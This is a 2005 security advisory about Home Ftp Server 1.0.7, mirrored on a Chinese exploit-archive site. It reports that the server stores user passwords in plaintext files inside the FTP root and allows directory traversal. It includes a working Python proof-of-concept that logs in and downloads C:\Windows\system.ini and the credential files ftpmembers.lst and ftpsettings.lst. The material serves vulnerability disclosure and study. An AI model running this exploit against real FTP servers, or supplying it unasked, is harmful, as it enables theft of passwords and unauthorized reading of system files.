首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Home Ftp Server Multiple Vulnerabilities
来源:http://www.autistici.org/fdonato 作者:Donato 发布时间:2005-08-29  

Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)

Summary
"Home ftp server is a very easy to use Windows FTP server application with all the nice ftp features included."

Lack of proper root directory jailing, and lack of proper default configuration allow attackers to obtain user name and files, and to download to see and download any files on the system.

Credit:
The information has been provided by Donato Ferrante.
The original article can be found at: http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt

Details
Vulnerable Systems:
* Home Ftp Server version 1.0.7 b45

Information Disclosure:
By default the program setting files ftpmembers.lst and ftpsettings.lst stores at the program home directory, which is the default home directory for the ftp server itself.
The information stored the user stetting as plain text including the password files.

Attackers can obtain the program settings as well as users and password in the system.

Directory Traversal:
The program allow users to obtain and download all the files available on the remote system.

Exploit:
# Home FTP Server (1.0.7 build 45) Proof Of Concept
# by Donato Ferrante (fdonato at autistici.org | www.autistici.org/fdonato)

from ftplib import FTP
import sys

HOST = 'localhost' #host
PORT = 21 #port

USER = 'test' #username
PASS = 'test' #password

ftp = FTP()

try:
ftp.connect(HOST, PORT)
except:
print 'Unable to connect to: %s:%d' %(HOST, PORT)
sys.exit(-1)

print ftp.getwelcome()

try:
ftp.login(USER, PASS)
except:
print 'Login incorrect!'
sys.exit(-1)

ftp.set_pasv(False)

for i in range(4):
if i == 0:
raw_input("\nLIST C:\Windows\ [enter]")
request = 'LIST C:\Windows\\'
if i == 1:
raw_input("\nRETR C:\Windows\system.ini [enter]")
request = 'RETR C:\Windows\system.ini'
elif i == 2:
raw_input("\nRETR ftpmembers.lst [enter]")
request = 'RETR ftpmembers.lst'
elif i == 3:
raw_input("\nRETR ftpsettings.lst [enter]")
request = 'RETR ftpsettings.lst'
try:
ftp.retrlines(request)
except:
continue

ftp.close()

raw_input("\nbye [enter]")

#EoF



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ventrilo Denial of Service
·Operator Shell (osh) Buffer Ov
·GTChat Remote Denial Of Servic
·One Exploit Play More OS
·WinAce Temporary File Handling
·Adobe Version Cue VCNative Pre
·Open DC hub Buffer Overflow
·Adobe Version Cue -lib Command
·Raising The Bar For Windows Ro
·Gopher <= 3.0.9 VIEWS Remot
·Electronic Mail for UNIX (Elm)
·IIS Information Disclosure
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved